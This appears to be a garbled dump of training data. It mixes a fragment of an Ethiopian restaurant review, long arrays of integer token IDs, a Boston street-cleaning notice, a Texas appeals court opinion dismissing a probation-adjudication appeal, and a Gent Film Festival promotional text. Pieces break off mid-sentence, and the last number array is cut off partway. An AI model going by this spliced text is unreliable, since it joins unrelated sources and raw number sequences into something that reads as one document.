The shiro ($15) which was finely ground spiced chickpeas that had been cooked and simmered with olive oil and chopped garlic. Mhmm mhmm, check out that oil. I did say already that it’s not diet food! It made for a spicy, nutty sauce, although I would have loved it if some pieces of chickpea had been left in for texture. This was served in a little pot, and we spooned the hot sauce spooned over the injera as we ate. The dubba ($18) consisted of large cubes
[ 14967, 434, 3684, 9693, 45652, 1988, 13, 12284, 367, 624, 261, 13, 387, 48906, 14, 46480, 14, 1731, 1438, 390, 2827, 280, 15, 81, 624, 261, 33, 67, 8735, 15, 12312, 15, 187, 187, 21093, 6338, 671, 17328, 8811, 326, 6406, 12478, 9513, 8330, 15, 496, 3684, 9693, 13, 253, 6406, 12478, 10130, 588, 3464, 253, 1072, 13, 3738, 690, 7871, 1024, 1537, 320, 10268, 253, 3430, 1039, 15, 187, 36, 2185, 4708, 3481, 24730, 187, 38, 30292, 3886, 34928, 3481, 49248, 187, 3887, 42300, 48, 13, 49248, 535, 187, 43, 35047, 2933, 30292, 1372, 48, 13, 4888, 535, 50254, 50274, 16667, 13, 187, 187, 87, 15, 187, 187, 9707, 26090, 3481, 49248, 13, 535, 50254, 50274, 28107, 15, 187, 7803, 586, 187, 7803, 586, 187, 7803, 586, 187, 7803, 586, 187, 7803, 19668, 3015, 15267, 187, 2302, 15, 16331, 14, 2922, 14, 361, 20070, 14, 1311, 187, 187, 40417, 432, 253, 187, 187, 28898, 296, 4412, 2111, 187, 187, 1171, 308, 35083, 3928, 13, 6112, 187, 187, 9, 6669, 4, 740, 19568, 1508, 37, 10, 187, 187, 48, 367, 309, 427, 309, 473, 427, 535, 186, 2374, 4223, 884, 13, 5403, 13, 9517, 13, 2516, 743, 798, 12892, 313, 1145, 798, 12892, 10, 369, 38455, 323, 253, 8399, 190, 187, 1171, 32516, 3385, 456, 2903, 1923, 342, 247, 16631, 314, 844, 23821, 15, 50276, 2374, 4397, 1283, 13, 5403, 13, 743, 798, 12892, 5966, 247, 190, 187, 4297, 7443, 12678, 13, 10376, 281, 247, 12678, 4345, 15, 50276, 1145, 798, 12892, 5821, 281, 3464, 327, 36334, 39791, 190, 187, 24925, 20446, 323, 5093, 1107, 762, 2176, 2426, 285, 2515, 15, 50276, 2374, 2552, 1283, 13, 5215, 13, 247, 190, 187, 31629, 369, 2918, 327, 253, 2418, 434, 13786, 281, 1294, 2638, 281, 2006, 6881, 8518, 15, 187, 186, 1145, 798, 12892, 21402, 346, 5088, 3, 281, 12494, 1264, 23962, 326, 344, 18801, 247, 12798, 275, 8411, 273, 190, 187, 8701, 19077, 1307, 326, 344, 7081, 642, 8914, 15, 50276, 9147, 14296, 13, 743, 798, 12892, 434, 19077, 5908, 13, 190, 187, 36445, 758, 2418, 434, 33072, 337, 13, 247, 10440, 273, 743, 798, 12892, 5877, 271, 16826, 14, 2504, 20260, 15, 50276, 1145, 798, 12892, 190, 187, 13578, 326, 352, 369, 417, 779, 275, 253, 10440, 15, 50276, 38642, 8176, 417, 8958, 672, 390, 835, 253, 190, 187, 22468, 2047, 369, 2668, 15, 50276, 38642, 812, 417, 5100, 1880, 253, 20260, 275, 253, 10440, 369, 275, 190, 187, 12690, 10501, 15, 50276, 28144, 13, 14296, 285, 247, 3186, 2285, 16113, 743, 798, 12892, 434, 1728, 13, 1436, 13, 285, 190, 187, 5546, 13, 4560, 2418, 434, 33072, 1384, 313, 3696, 1074, 10, 275, 743, 798, 12892, 434, 11320, 285, 2418, 434, 33072, 1283, 313, 3696, 1074, 10, 327, 247, 190, 187, 6170, 1462, 275, 521, 14098, 15, 50276, 38642, 20503, 326, 743, 798, 12892, 2183, 779, 326, 344, 908, 247, 12798, 275, 190, 187, 8701, 789, 15, 50276, 1145, 798, 12892, 6940, 342, 521, 3101, 285, 521, 7586, 285, 858, 417, 1750, 12851, 273, 2418, 434, 190, 187, 1672, 26849, 1283, 13, 253, 12798, 1119, 275, 521, 14098, 15, 50276, 2302, 581, 2455, 2335, 44901, 273, 253, 12798, 15, 187, 186, 1145, 798, 12892, 21402, 346, 3650, 11793, 3, 281, 12494, 1740, 13, 534, 2424, 743, 798, 12892, 281, 3464, 1561, 190, 187, 53, 35083, 3928, 5734, 2720, 26239, 369, 7169, 407, 253, 2111, 390, 247, 20446, 5908, 15, 50276, 190, 187, 10457, 743, 798, 12892, 434, 2316, 3186, 13, 14296, 22111, 2534, 32933, 285, 3440, 28064, 190, 187, 35817, 7101, 347, 2418, 434, 1889, 1856, 953, 854, 13, 898, 13, 2145, 13, 1668, 13, 285, 1722, 15, 50276, 5443, 434, 33072, 854, 285, 2418, 434, 33072, 898, 190, 187, 9802, 253, 3522, 273, 3919, 1283, 13, 5215, 13, 17253, 327, 731, 15, 50276, 38642, 5783, 436, 3522, 369, 1561, 190, 187, 1145, 798, 12892, 434, 19077, 2180, 15, 50276, 7130, 281, 14296, 13, 743, 798, 12892, 8176, 281, 1907, 11612, 247, 1113, 190, 187, 9029, 275, 16700, 13, 4441, 275, 16700, 3928, 15, 50276, 38642, 858, 417, 871, 253, 47893, 273, 673, 326, 743, 798, 12892, 190, 187, 1033, 290, 387, 16700, 15, 50276, 1466, 29583, 15569, 6646, 13, 743, 798, 12892, 434, 3101, 13, 840, 7859, 326, 743, 798, 12892, 574, 1669, 3874, 275, 190, 187, 16429, 281, 521, 789, 327, 8458, 15, 187, 186, 1145, 798, 12892, 21402, 346, 3650, 11793, 3, 281, 12494, 2620, 13, 534, 6960, 743, 798, 12892, 417, 281, 10738, 667, 190, 187, 26774, 27312, 7871, 390, 14217, 390, 281, 7619, 390, 8251, 667, 14234, 2330, 342, 667, 10821, 15, 50276, 688, 190, 187, 5443, 434, 33072, 337, 13, 743, 798, 12892, 310, 17253, 36070, 247, 10821, 861, 342, 521, 1669, 1133, 15, 50276, 38642, 6492, 190, 187, 3529, 253, 1133, 861, 310, 247, 15331, 323, 346, 30456, 611, 6626, 937, 534, 861, 7790, 326, 743, 798, 12892, 310, 417, 247, 629, 273, 253, 190, 187, 30456, 10821, 285, 326, 344, 574, 5339, 247, 14169, 15, 50276, 6436, 13, 14296, 671, 4767, 326, 253, 27352, 861, 190, 187, 16534, 671, 1599, 378, 15, 44, 904, 285, 326, 352, 1057, 417, 7933, 1599, 352, 476, 320, 12814, 347, 14169, 611, 6626, 15, 187, 186, 1145, 798, 12892, 21402, 346, 3650, 11793, 3, 281, 12494, 2800, 13, 43987, 743, 798, 12892, 432, 10023, 273, 667, 190, 187, 26774, 38594, 379, 2110, 571, 13, 824, 347, 802, 23042, 13, 25527, 390, 7963, 13, 390, 1581, 2007, 31720, 272, 327, 2133, 190, 187, 31369, 15, 50276, 38642, 4767, 326, 327, 4397, 1283, 13, 5403, 13, 253, 673, 743, 798, 12892, 369, 8927, 4845, 327, 190, 187, 22275, 318, 13, 344, 858, 417, 452, 667, 21504, 48809, 327, 521, 3564, 15, 50276, 5443, 434, 33072, 337, 31444, 247, 31720, 327, 190, 187, 1145, 798, 12892, 434, 987, 1133, 15, 50276, 2512, 310, 642, 3542, 3908, 273, 743, 798, 12892, 434, 3520, 7286, 13, 533, 190, 187, 30786, 760, 6255, 7211, 432, 14296, 15, 50276, 28144, 13, 1223, 327, 19077, 13, 743, 798, 12892, 1694, 767, 747, 190, 187, 41506, 48809, 326, 497, 417, 17253, 275, 2418, 434, 33072, 337, 327, 521, 3564, 27, 50276, 3, 3493, 12451, 3, 327, 521, 987, 1133, 285, 190, 187, 3, 41793, 3, 327, 521, 1669, 1133, 15, 50276, 3039, 2546, 13, 743, 798, 12892, 7558, 326, 521, 21504, 48809, 497, 417, 10821, 2905, 15, 50276, 190, 187, 38642, 5544, 326, 253, 31720, 264, 3000, 13205, 743, 798, 12892, 347, 271, 3939, 10821, 3558, 665, 190, 187, 10178, 644, 16780, 275, 13, 390, 15335, 7416, 253, 10821, 15, 50276, 20964, 13, 14296, 7859, 281, 4560, 247, 190, 187, 13934, 273, 2854, 11498, 275, 743, 798, 12892, 434, 1113, 13, 2418, 434, 33072, 655, 28, 247, 20731, 14339, 281, 13717, 275, 521, 190, 187, 3026, 4461, 13, 2418, 434, 33072, 818, 28, 285, 7098, 47525, 327, 247, 37884, 275, 521, 14098, 13, 2418, 434, 33072, 577, 15, 187, 186, 510, 2418, 23391, 12494, 581, 15, 50276, 510, 2111, 1119, 12494, 767, 281, 320, 346, 3650, 11793, 449, 50276, 510, 190, 187, 18336, 671, 3413, 33295, 1264, 949, 2800, 281, 320, 346, 5088, 3, 285, 21633, 6857, 743, 798, 12892, 190, 187, 4297, 7443, 15, 187, 186, 688, 7158, 342, 253, 2418, 434, 2748, 13, 253, 1302, 16290, 743, 798, 12892, 281, 25259, 1107, 8, 190, 187, 8259, 14675, 275, 253, 32576, 9333, 273, 253, 6112, 4487, 273, 20526, 8293, 15, 187, 186, 16667, 16540, 247, 2014, 2523, 327, 4549, 13, 275, 534, 344, 7881, 253, 32572, 273, 190, 187, 22432, 2011, 387, 521, 39791, 15, 50276, 6436, 13, 275, 436, 1083, 13, 521, 39791, 273, 15457, 4854, 369, 190, 187, 13028, 327, 2552, 1283, 13, 5215, 15, 50276, 20108, 281, 3978, 1458, 13, 5215, 13, 642, 4549, 812, 320, 1160, 327, 253, 2332, 1302, 434, 190, 187, 324, 6881, 8518, 273, 15457, 13, 45030, 432, 247, 8411, 273, 3114, 20446, 15, 50276, 10685, 15, 6124, 190, 187, 39546, 15, 29319, 15, 20339, 15, 1445, 15, 5976, 15, 805, 13, 3015, 608, 9, 67, 10, 313, 50126, 251, 6023, 15, 4695, 558, 313, 18, 10, 187, 1777, 37889, 362, 15, 2418, 13, 854, 1619, 322, 15, 56, 15, 19, 69, 337, 13, 374, 190, 187, 9, 10685, 15, 39546, 15, 2946, 15, 9748, 481, 50276, 1231, 1364, 13, 3103, 13, 5597, 436, 4549, 15, 535, 32062, 186, 4877, 55, 1838, 13573, 2293, 33082, 44104, 56, 13, 9060, 8293, 187, 187, 19591, 374, 13, 4748, 187, 187, 8639, 4661, 88, 13, 330, 15, 43, 904, 33508, 459, 13, 285, 31247, 13, 25544, 15, 187, 36, 3298, 13, 500, 904, 417, 15299, 187, 187, 9, 4045, 3105, 15739, 763, 10, 187, 18, 15, 50275, 688, 5215, 13, 253, 22891, 13799, 14108, 5976, 15, 805, 13, 3015, 608, 9, 67, 10, 281, 2085, 323, 247, 987, 273, 4549, 190, 187, 4064, 253, 2332, 1302, 434, 3061, 281, 21633, 9038, 15, 50276, 6014, 273, 2552, 3495, 13, 5215, 13, 5096, 394, 7153, 904, 416, 15, 52, 904, 448, 15, 11084, 25, 13, 3015, 608, 13, 190, 187, 8602, 5255, 15, 2588, 15, 28856, 577, 20216, 13, 577, 26933, 15, 50276, 6436, 13, 253, 15129, 310, 13893, 285, 10384, 281, 271, 190, 187, 324, 6881, 8518, 4854, 5196, 327, 390, 846, 253, 3576, 3522, 273, 253, 10843, 13, 3978, 1458, 13, 5215, 13, 190, 187, 1747, 21350, 273, 672, 253, 39791, 273, 15457, 369, 8927, 36334, 390, 672, 253, 8399, 4933, 190, 187, 24078, 281, 253, 4098, 273, 36334, 39791, 3114, 20446, 369, 7730, 15, 50276, 6014, 273, 2552, 3495, 13, 190, 187, 8602, 13, 5096, 394, 7153, 904, 416, 15, 52, 904, 448, 15, 11084, 25, 13, 3015, 8676, 13, 5215, 5255, 15, 2588, 15, 28856, 577, 20216, 13, 7127, 1012, 15, 187, 9867, 19005, 1241, 512, 689, 253, 3645, 187, 187, 510, 25870, 15913, 14964, 187, 187, 7161, 3440, 5239, 253, 10541, 187, 187, 510, 25870, 15913, 14964, 369, 4232, 275, 15788, 347, 247, 3484, 8, 3085, 16365, 13, 285, 556, 1580, 3715, 715, 581, 273, 3060, 434, 954, 11906, 3085, 3394, 15, 6000, 807, 275, 4437, 13, 253, 16365, 10262, 690, 7346, 3386, 285, 2456, 32353, 432, 512, 2439, 253, 1533, 15, 329, 2491, 273, 1027, 3085, 5659, 403, 44762, 833, 13, 35748, 689, 2233, 13, 933, 20985, 1016, 807, 15, 380, 5625, 20369, 273, 15913, 1294, 41590, 5505, 569, 313, 42130, 4899, 10, 3183, 3013, 436, 16365, 347, 247, 12085, 16365, 8558, 48526, 4404, 253, 686, 48276, 273, 3440, 327, 3085, 5983, 1707, 403, 577, 16620, 598, 323, 42562, 285, 1475, 1458, 994, 9231, 15, 187, 187, 3378, 697, 2770, 327, 3085, 3440, 13, 253, 25870, 15913, 14964, 556, 697, 1211, 4451, 1659, 275, 5213, 33182, 15, 6000, 807, 13, 253, 16365, 1963, 3013, 3085, 3440, 34888, 13, 4933, 43039, 273, 3085, 7363, 253, 5147, 597, 17337, 15, 1176, 993, 398, 824, 347, 3035, 48830, 4922, 695, 531, 13, 27581, 714, 1096, 13, 3599, 961, 48647, 13, 6277, 611, 18986, 13, 15435, 40289, 13, 15197, 35787, 13, 9309, 265, 6304, 254, 489, 13, 16137, 1503, 22369, 13, 35544, 24064, 250, 13, 20577, 29915, 13, 11643, 14, 33612, 1665, 8757, 13, 6277, 399, 9045, 13, 33746, 41231, 12126, 311, 18524, 403, 690, 273, 253, 1142, 3085, 3440, 38209, 665, 452, 2168, 2668, 253, 3924, 387, 25870, 15, 187, 187, 7542, 6585, 13, 253, 443, 864, 85, 15913, 14964, 556, 671, 29070, 253, 3645, 18874, 13712, 18165, 13, 253, 954, 34544, 35846, 16620, 275, 253, 1533, 15, 5815, 807, 13, 253, 1682, 35846, 43039, 403, 4070, 9698, 285, 4763, 5213, 8981, 323, 616, 789, 15, 831, 45200, 2554, 556, 5604, 574, 271, 3486, 15, 25870, 556, 8228, 715, 247, 4804, 1127, 323, 4232, 285, 598, 14, 395, 14, 4202, 12256, 12816, 285, 2455, 3687, 3904, 273, 33182, 1132, 3590, 46488, 432, 253, 15926, 15, 3932, 6157, 13, 1014, 253, 5284, 15913, 11417, 1108, 14659, 407, 253, 25870, 15913, 14964, 428, 556, 4070, 9698, 253, 1682, 5284, 35846, 43039, 15, 187, 187, 2290, 796, 2929, 19988, 1734, 4845, 253, 16365, 275, 352, 434, 1755, 2456, 1364, 8041, 33182, 273, 253, 1533, 984, 273, 436, 2770, 327, 313, 18405, 10, 30911, 15, 2448, 4832, 3668, 2929, 380, 8799, 5720, 9109, 1925, 253, 16365, 581, 273, 253, 2620, 5284, 15913, 43149, 25786, 342, 1894, 2, 187, 187, 18291, 627 ]	mayor's South Boston liaison, Eric Prentis, at 617-635-2680 or eric.prentis@boston.gov. City officials also reminded residents that street cleaning begins Wednesday. In South Boston, the street cleaning schedule will remain the same, although some signs now might be facing the wrong way. COURT OF APPEALS EIGHTH DISTRICT OF TEXAS EL PASO, TEXAS JOHN ANIGHORO, Appellant, v. THE STATE OF TEXAS, Appellee. § § § § § § No. 08-07-00178-CR Appeal from the 371st District Court of Tarrant County, Texas (TC#1023523D) O P I N I O N On August 10, 2006, Appellant, John Anighoro (Anighoro) was indicted for the offense of Aggravated Assault with a Deadly Weapon. On September 18, 2006, Anighoro entered a guilty plea, pursuant to a plea agreement. Anighoro agreed to remain on deferred adjudication community supervision for seven years under certain terms and conditions. On May 18, 2007, a hearing was held on the State's Petition to Proceed to Adjudication. Anighoro pled "True" to paragraph three alleging that he possessed a knife in violation of his probation term that he possess no weapons. Pat Houston, Anighoro's probation officer, introduced State's Exhibit 1, a photograph of Anighoro holding an AK-47 rifle. Anighoro claimed that it was not him in the photograph. Houston admitted not knowing when or where the photograph was taken. Houston could not establish whether the rifle in the photograph was in fact authentic. Additionally, Houston and a search team searched Anighoro's home, person, and car, finding State's Exhibit 20 (knife) in Anighoro's pocket and State's Exhibit 18 (knife) on a night stand in his bedroom. Houston commented that Anighoro told him that he used a knife in his work. Anighoro lived with his mother and his sister and did not claim ownership of State's Exhibit 18, the knife found in his bedroom. No one ever took fingerprints of the knife. Anighoro pled "Not True" to paragraph four, which required Anighoro to remain within Tarrant County unless prior authorization was granted by the Court or a supervision officer. During Anighoro's room search, Houston retrieved bar advertisements and music advertisement cards marked as State's Exhibits 8, 9, 13, 16, and 17. State's Exhibit 8 and State's Exhibit 9 have the date of March 18, 2007, depicted on them. Houston confirmed this date was within Anighoro's probation period. According to Houston, Anighoro admitted to having attended a car show in Dallas, located in Dallas County. Houston did not know the lapse of time that Anighoro spent at Dallas. Leticia Cabello, Anighoro's mother, then testified that Anighoro had left town in relation to his work on cars. Anighoro pled "Not True" to paragraph five, which ordered Anighoro not to exhibit any gang affiliated signs or symbols or to dress or wear any clothing associated with any gang. In State's Exhibit 1, Anighoro is depicted flashing a gang sign with his left hand. Houston indicates that the hand sign is a toss for "Blood Killer," which signifies that Anighoro is not a part of the Blood gang and that he had killed a Blood. However, Houston also stated that the tossed sign could also mean B.K., and that it does not necessarily mean it can be interpreted as Blood Killer. Anighoro pled "Not True" to paragraph six, prohibiting Anighoro from possession of any gang paraphernalia, such as emblems, writings or photos, or allow further tattooing on body parts. Houston stated that on September 18, 2006, the time Anighoro was originally placed on probation, he did not have any tattoos on his hands. State's Exhibit 1 depicts a tattoo on Anighoro's right hand. There is no written statement of Anighoro's physical appearance, but rather only mental notes from Houston. Additionally, while on probation, Anighoro got two new tattoos that were not depicted in State's Exhibit 1 on his hands: "Playa" on his right hand and "Made" on his left hand. When asked, Anighoro claimed that his tattoos were not gang related. Houston explained that the tattooed words designated Anighoro as an active gang member who had been jumped in, or officially joined the gang. Furthermore, Houston testified to finding a pair of drug scales in Anighoro's car, State's Exhibit 19; a poster referring to marijuana in his bedroom, State's Exhibit 7; and graffiti on a bureau in his bedroom, State's Exhibit 4. The State waived paragraph one. The Court found paragraph two to be "Not True." The Court also determined paragraphs three through six to be "True" and adjudicated Anighoro guilty. In accord with the State's request, the court sentenced Anighoro to eighteen years' confinement in the Institutional Division of the Texas Department of Criminal Justice. Appellant raises a single issue on appeal, in which he challenges the sufficiency of evidence shown at his adjudication. However, in this case, his adjudication of guilt hearing was held on May 18, 2007. Prior to June 15, 2007, no appeal could be made on the trial court's adjudication of guilt, stemming from a violation of community supervision. Tex.Code Crim.Proc.Ann. art. 42.12, § 5(b) (Vernon Supp. 2008); (1) Phynes v. State, 828 S.W.2d 1, 2 (Tex.Crim.App. 1992). We must, therefore, dismiss this appeal. DAVID WELLINGTON CHEW, Chief Justice April 2, 2009 Before Chew, C.J., McClure, and Carr, JJ. Carr, J., not participating (Do Not Publish) 1. In 2007, the Legislature amended Article 42.12, § 5(b) to provide for a right of appeal from the trial court's decision to adjudicate. Act of May 23, 2007, 80th Leg., R.S., ch. 1308, § 5, 2007 Tex. Gen. Laws 4395, 4397. However, the amendment is prospective and applies to an adjudication hearing conducted on or after the effective date of the legislation, June 15, 2007, regardless of when the adjudication of guilt was originally deferred or when the offense giving rise to the grant of deferred adjudication community supervision was committed. Act of May 23, 2007, 80th Leg., R.S., ch. 1308, § 53, 2007 Tex. Gen. Laws 4395, 4413. Find Hostels all over the World The Gent Film Festival Where music sets the tone The Gent Film Festival was established in 1974 as a students' film festival, and has since developed into one of Europe's most prominent film events. Every year in October, the festival presents some 120 features and 50 shorts from all across the world. A range of different film programs are showcased, attracting over 100,000 viewers each year. The International Federation of Film Producers Associations (IFFPA) recognises this festival as a competitive festival primarily geared towards the 'impact of music on film'. There are 4 awards up for grabs and around 15 entrants. With its focus on film music, the Gent Film Festival has its own unique place in international festivals. Every year, the festival organises film music concerts, giving composers of film scores the platform they deserve. Composers such as Ennio Morricone, Gabriel Yared, Elmer Bernstein, Michael Kamen, Patrick Doyle, Howard Shore, Georges Delerue, Hans Zimmer, Maurice Jarre, Craig Armstrong, Harry-Gregson Williams, Michael Danna, Gustavo Santaolalla are some of the many film music legends who have already taken the stage at Gent. Since 2001, the Ghent Film Festival has also organised the World Soundtrack Awards, the most prestigious soundtrack awards in the world. Each year, the best soundtrack composers are honoured and receive international recognition for their work. This pioneering role has certainly had an impact. Gent has grown into a meeting point for established and up-and-coming musical talent and ever greater numbers of festivals play soundtracks from the wings. Since 2004, even the European Film Academy – encouraged by the Gent Film Festival - has honoured the best European soundtrack composers. Trade paper Variety placed the festival in it's top 50 must attend festivals of the world because of this focus on (film)music. American financial news paper The Wall Street Journal called the festival one of the five European Film Festivals with character! Yet there
[ 605, 6270, 708, 21122, 313, 395, 308, 26948, 2769, 43, 10, 7951, 186, 5210, 1168, 4531, 22795, 82, 2548, 9, 427, 1410, 1450, 27209, 64, 8282, 58, 9431, 5349, 2379, 186, 94, 2379, 186, 338, 9, 1531, 68, 2295, 470, 89, 5781, 453, 49227, 68, 2387, 551, 186, 605, 427, 34483, 19571, 2788, 27793, 495, 428, 714, 21206, 642, 388, 518, 706, 2517, 9, 43, 10, 7951, 186, 5210, 1168, 4531, 26912, 6942, 9, 427, 1410, 1450, 15293, 1843, 64, 51, 8112, 947, 5349, 2379, 186, 94, 2379, 186, 338, 9, 1531, 68, 2295, 470, 89, 23, 550, 3763, 68, 3071, 2387, 551, 186, 605, 388, 25453, 642, 48555, 428, 714, 2123, 642, 37418, 27198, 642, 4200, 462, 255, 1792, 9, 43, 10, 7951, 186, 5210, 1168, 4531, 26912, 6942, 9, 427, 1410, 1450, 15293, 1843, 64, 51, 8112, 947, 5349, 2379, 186, 94, 2379, 186, 338, 9, 1531, 68, 2295, 470, 89, 47220, 5470, 66, 2357, 2387, 551, 186, 605, 2752, 7813, 2752, 10540, 428, 378, 23909, 642, 714, 2123, 428, 11327, 17850, 642, 15186, 2284, 9, 43, 10, 7951, 186, 5210, 1168, 4531, 22795, 82, 2548, 9, 427, 1410, 1450, 27209, 64, 8282, 58, 9431, 5349, 2379, 186, 94, 2379, 186, 338, 9, 1531, 68, 2295, 470, 89, 23, 71, 4196, 264, 1010, 2387, 551, 186, 605, 7903, 46191, 428, 411, 518, 2327, 74, 15366, 3855, 31586, 9, 43, 10, 7951, 186, 5210, 1168, 4531, 22795, 82, 2548, 9, 427, 1410, 1450, 27209, 64, 8282, 58, 9431, 5349, 2379, 186, 94, 2379, 186, 338, 9, 1531, 68, 2295, 470, 89, 2691, 2227, 71, 25772, 2387, 551, 186, 605, 6397, 423, 276, 8020, 9, 43, 10, 7951, 186, 5210, 1168, 4531, 26912, 6942, 9, 427, 1410, 1450, 15293, 1843, 64, 51, 8112, 947, 5349, 2379, 186, 94, 2379, 186, 338, 9, 1531, 68, 2295, 470, 89, 2691, 1671, 22210, 18, 2387, 551, 186, 605, 44065, 27319, 495, 428, 714, 2123, 23257, 316, 257, 9, 43, 10, 7951, 186, 5210, 1168, 4531, 26912, 6942, 9, 427, 1410, 1450, 15293, 1843, 64, 51, 8112, 947, 5349, 2379, 186, 94, 2379, 186, 338, 9, 1531, 68, 2295, 470, 89, 1731, 567, 20, 14576, 19, 2387, 551, 186, 605, 714, 2123, 42235, 4200, 462, 255, 1792, 9, 43, 10, 7951, 186, 5210, 1168, 4531, 22795, 82, 2548, 9, 427, 1410, 1450, 27209, 64, 8282, 58, 9431, 5349, 2379, 186, 94, 2379, 186, 338, 9, 1531, 68, 2295, 470, 89, 24, 35276, 12847, 3712, 2387, 551, 186, 605, 4410, 9533, 303, 5781, 374, 9, 43, 10, 7951, 186, 5210, 1168, 4531, 22795, 82, 2548, 9, 427, 1410, 1450, 27209, 64, 8282, 58, 9431, 5349, 2379, 186, 94, 2379, 186, 338, 9, 1531, 68, 2295, 470, 89, 796, 883, 18962, 2387, 551, 186, 605, 49314, 81, 21493, 47653, 76, 328, 642, 443, 454, 3899, 3645, 9, 43, 10, 7951, 186, 5210, 1168, 4531, 22795, 82, 2548, 9, 427, 1410, 1450, 27209, 64, 8282, 58, 9431, 5349, 2379, 186, 94, 2379, 186, 338, 9, 1531, 68, 2295, 470, 89, 24, 68, 24, 357, 3680, 70, 2387, 551, 186, 605, 11255, 489, 250, 642, 21446, 3612, 428, 14391, 74, 642, 611, 28720, 399, 561, 1507, 86, 9, 43, 10, 7951, 186, 5210, 1168, 4531, 26912, 6942, 9, 427, 1410, 1450, 15743, 64, 51, 8112, 947, 5349, 2379, 186, 94, 2379, 186, 338, 9, 1531, 68, 2295, 470, 89, 1731, 567, 20, 14576, 19, 2387, 551, 186, 605, 714, 2123, 42235, 4200, 462, 255, 1792, 9, 43, 10, 7951, 186, 5210, 1168, 4531, 26912, 6942, 9, 427, 1410, 1450, 15293, 1843, 64, 51, 8112, 947, 5349, 2379, 186, 94, 2379, 186, 338, 9, 1531, 68, 2295, 470, 89, 13381, 14576, 21, 66, 17, 2387, 551, 186, 605, 14538, 33334, 2401, 686, 4529, 1720, 18442, 9, 43, 10, 7951, 186, 5210, 1168, 4531, 26912, 6942, 9, 427, 1410, 1450, 15293, 1843, 64, 51, 8112, 947, 5349, 2379, 186, 94, 15971, 186, 338, 9, 1531, 68, 2295, 470, 89, 18, 69, 19, 70, 22, 12058, 186, 186, 605, 9384, 1342, 495, 9, 43, 10, 7951, 2785, 1531, 68, 2295, 470, 89, 23, 67, 16742, 66, 2320, 2387, 551, 186, 605, 18694, 14990, 495, 9, 54, 10, 7951, 186, 20331, 64, 881, 426, 353, 7722, 20, 64, 27209, 64, 51, 9466, 15157, 20, 28, 2379, 186, 94, 15971, 186, 338, 9, 1531, 68, 2295, 470, 17176, 2055, 69, 2385, 69, 24, 2387, 551, 186, 605, 34569, 10718, 9, 54, 10, 7951, 186, 20331, 64, 881, 426, 353, 7722, 20, 64, 27209, 64, 51, 9466, 15157, 20, 28, 2379, 186, 94, 15971, 186, 338, 9, 1531, 68, 2295, 470, 37582, 2251, 25716, 43490, 2387, 551, 186, 605, 49395, 495, 9, 54, 10, 7951, 186, 5210, 1168, 4531, 26912, 6942, 9, 427, 1410, 1450, 15293, 1843, 64, 51, 8112, 947, 5349, 2379, 186, 94, 15971, 186, 338, 9, 1531, 68, 2295, 470, 7096, 3121, 1839, 4739, 67, 2387, 551, 186, 605, 16025, 59, 19, 7951, 186, 20331, 64, 881, 426, 353, 7722, 20, 64, 27209, 64, 8904, 59, 19, 28, 2379, 186, 94, 15971, 186, 605, 29151, 14, 2447, 261, 2468, 2379, 186, 10936, 64, 20559, 426, 470, 28, 2379, 186, 10936, 64, 4663, 426, 470, 28, 15971, 186, 338, 9, 1531, 68, 2295, 470, 89, 2275, 19, 5470, 66, 3571, 186, 186, 605, 29151, 308, 19395, 14423, 272, 7951, 2785, 1531, 68, 2295, 470, 89, 4185, 68, 453, 11718, 2387, 551, 186, 605, 29151, 308, 19395, 14423, 272, 313, 31879, 10, 7951, 186, 10936, 64, 20559, 426, 337, 28, 2379, 186, 94, 2379, 186, 338, 9, 1531, 68, 2295, 470, 89, 13743, 324, 71, 24, 68, 2387, 551, 186, 605, 29151, 2058, 1792, 416, 6159, 27141, 7951, 186, 10936, 64, 20559, 426, 374, 28, 2379, 186, 94, 2379, 186, 338, 9, 1531, 68, 2295, 470, 14506, 26, 69, 20, 67, 17, 66, 20, 186, 186, 605, 29151, 6053, 1594, 1173, 784, 7951, 2785, 1531, 68, 2295, 470, 89, 1525, 21361, 1438, 66, 186, 186, 605, 29151, 6053, 1594, 1173, 784, 313, 67, 18, 10, 7951, 2785, 1531, 68, 2295, 470, 89, 2526, 4482, 48463, 71, 2387, 551, 186, 605, 29151, 6053, 1594, 1173, 784, 313, 67, 19, 10, 7951, 186, 10936, 64, 20559, 426, 495, 28, 2379, 186, 94, 190, 187, 94, 190, 187, 605, 4659, 4770, 25, 298, 307, 60, 25, 62, 426, 551, 470, 89, 361, 13, 470, 89, 361, 13, 470, 89, 361, 13, 470, 89, 520, 13, 470, 89, 2640, 13, 470, 89, 2125, 13, 470, 89, 17, 39, 13, 470, 89, 361, 7734, 190, 187, 40231, 186, 37479, 5525, 1450, 5703, 20357, 9, 411, 8242, 26181, 2387, 190, 187, 92, 2379, 186, 338, 9, 2195, 10936, 64, 20559, 2387, 551, 190, 187, 605, 186, 186, 338, 4464, 9834, 30189, 28306, 10, 10494, 9, 9834, 44072, 5388, 24, 1228, 1091, 298, 307, 60, 9834, 7, 24, 2194, 7951, 186, 338, 9, 409, 64, 881, 2295, 337, 910, 11459, 186, 338, 9, 26181, 10122, 470, 89, 1449, 938, 3857, 26181, 11049, 470, 89, 24, 45231, 2387, 551, 17158, 186, 2309, 3988, 28, 11459, 186, 94, 7951, 186, 94, 2010, 604, 9, 26181, 10122, 470, 89, 28306, 3857, 26181, 11049, 470, 89, 22, 45231, 2387, 551, 17158, 186, 2309, 186, 31576, 2300, 60, 9834, 14, 17, 89, 25851, 2194, 7951, 186, 94, 2379, 186, 94, 2010, 604, 9, 4632, 64, 20559, 2295, 337, 2387, 551, 7951, 186, 605, 29151, 308, 19395, 14423, 272, 9044, 7951, 186, 338, 9, 26181, 2295, 470, 89, 22, 38, 361, 2387, 551, 11459, 186, 10936, 64, 4663, 426, 470, 28, 11459, 186, 2309, 186, 17, 89, 361, 28, 7951, 186, 94, 2010, 604, 9, 26181, 2295, 470, 89, 22, 38, 520, 2387, 551, 11459, 186, 40231, 186, 28259, 64, 53, 19395, 64, 20356, 60, 1237, 62, 426, 551, 17158, 186, 17, 21671, 13, 470, 89, 3342, 13, 470, 17296, 24, 13, 470, 89, 4148, 13, 470, 89, 4148, 13, 470, 89, 1166, 13, 470, 89, 3011, 13, 470, 89, 21, 71, 13, 17158, 186, 17, 89, 23, 71, 13, 470, 89, 23, 67, 13, 470, 89, 2275, 13, 470, 14346, 26, 13, 470, 17296, 18, 13, 470, 89, 2270, 13, 470, 89, 3953, 13, 470, 89, 1047, 13, 17158, 186, 17, 89, 3208, 13, 470, 89, 21, 70, 13, 470, 89, 23, 71, 13, 470, 89, 23, 67, 13, 470, 89, 2275, 13, 470, 14346, 26, 13, 470, 17296, 18, 13, 470, 89, 2270, 13, 17158, 186, 17, 17176, 21, 13, 470, 89, 22, 